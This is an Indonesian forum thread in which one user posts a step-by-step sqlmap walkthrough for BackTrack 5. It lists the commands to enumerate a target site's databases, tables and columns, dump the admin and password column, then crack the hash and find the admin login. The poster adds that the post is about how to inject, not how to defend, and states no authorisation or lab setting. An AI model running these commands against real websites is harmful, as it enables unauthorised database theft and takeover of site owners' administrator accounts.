SQLmap on BT5

[sampurna]

Ok to the point.....

Bagaimana menjalankan sqlmap di bt 5 silahkan disima :

Mencari tahu tentang database target

python sqlmap.py -u http : // www [dot] target [dot] com/index.php?id=15 --dbs

Setelah mendapatkan databasenya maka langkah selanjutnya membuka database

untuk mencari nama tabelnya menggunakan perintah berikut :

python sqlmap.py -u http : // www [dot] target [dot] com/index.php?id=15 -D NamaDatabasenya --tables

Setelah muncul beberapa tabelnya maka langkah berikutnya mencari nama kolomnya maka langkah selanjutnya Membuka column

python sqlmap.py -u http : // www [dot] target [dot] com/index.php?id=15 -D NamaDatabasenya -T NamaTable --columns

Saatnya melihat kolom admin | pwd lalu langkah berikutnya :

python sqlmap.py -u http : // www [dot] target [dot] com/index.php?id=15 -D NamaDatabasenya -T allowed -C namacolom --dump

Langkah terahir seperti biasa pecahkan Hash dan cari login adminya.

[winda]

SQL/php/database " coba masuk thread programing KK'.. tp nice inpo salam knal

[sampurna]

lho itu bukan kategori pentest yah ?

salam kenal juga

[winda]

Bagus...coba masukin aja threadnya ke PHP & mySQL kk

[sampurna]

klo masuk ke PHP atau MySql lebih cenderung cara menanggulangi injection deh
klo sqlmap kan cara injectnya

[Sponsored content]